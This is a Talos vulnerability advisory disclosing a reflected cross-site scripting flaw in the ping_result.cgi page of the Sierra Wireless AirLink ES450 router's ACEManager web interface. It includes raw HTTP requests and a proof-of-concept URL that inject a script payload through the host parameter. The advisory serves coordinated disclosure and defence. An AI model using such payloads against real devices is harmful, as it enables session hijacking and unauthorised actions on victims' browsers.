Talos Vulnerability Report

Summary

An exploitable cross-site scripting vulnerability exists in the ACEManager ping_result.cgi functionality of Sierra Wireless AirLink ES450 FW 4.9.3. A specially crafted HTTP ping request can cause reflected javascript code execution, resulting in the execution of javascript code running on the victim’s browser. An attacker can get a victim to click a link, or embedded URL, that redirects to the reflected cross-site scripting vulnerability to trigger this vulnerability.

Tested Versions

Sierra Wireless AirLink ES450 FW 4.9.3

Product URLs

https://www.sierrawireless.com/products-and-solutions/routers-gateways/es450/

CVSSv3 Score

6.1 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79: Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

Details

Sierra Wireless is a wireless communications equipement designer and manufacturer. They provide both embedded solutions as well as wireless hardware solutions, including both the ES450 and GX450 devices. The AirLink ES450 is a LTE gateway designed for distributed enterprise. The ES450 is typically seen connecting Point-of-sale devices, remote SCADA equipment, or other business critical equipment. The AirLink ES450 also provides a terminal server for remote out-of-band administration.

ACEManager is the web server included with the AirLink ES450. This web server is responsible for the majority of interactions in the device. Some specific capabilities of the web server are routing, device reconfiguration, user authentication and certificate management. The vendor has stated that the ACEManager web application is not accessible by default from the Cellular WAN.

The ping_result.cgi binary does not properly filter input before reflecting it back to the client. This improper filtering allows javascript to be injected into the response to the client. This can be used to run code on the client’s browser, such as making requests on behalf of the user, or disclosing confidential tokens.

POST Request

 POST /admin/tools/ping_result.cgi HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: */*
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://192.168.13.31:9191/admin/tools/ping.html
 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 X-Requested-With: XMLHttpRequest
 Content-Length: 61
 Cookie: token=5a412d6dbc3618b3e4ffd7219460f942
 Connection: close

 host=192.168.13.31<script>alert('xss')</script>

GET Request

 GET /admin/tools/ping_result.cgi?host=1.1.1.1%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E HTTP/1.1
 Host: 192.168.13.31:9191
 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Cookie: token=5a412d6dbc3618b3e4ffd7219460f942
 Connection: close
 Upgrade-Insecure-Requests: 1

This vulnerability was discovered and tested using the AirLink ES450. Most likely this vulnerability also affects the AirLink GX450 product as well.

Exploit Proof of Concept

After authenticating to ACEManager navigate to http://192.168.13.31:9191/admin/tools/ping_result.cgi?host=1.1.1.1%27%3Cscript%3Ealert(%27xss%27)%3C/script%3E to show the alert caused by cross-site scripting.

Timeline

2018-12-14 - Vendor disclosure
2018-12-17 - Vendor acknowledged
2019-01-08 - Discussion to review vendor’s analysis of issues<br 2019-02-26 - Vendor provided analysis of CVSS scoring
2019-03-26 - Vendor established timelines for fix/public disclosure
2019-04-20 - Talos provided revised CVSS score on TALOS-2018-0746, TALOS-2018-0751, TALOS-2018-0752, TALOS-2018-0755, and TALOS-2018-0756
2019-04-25 - Public Release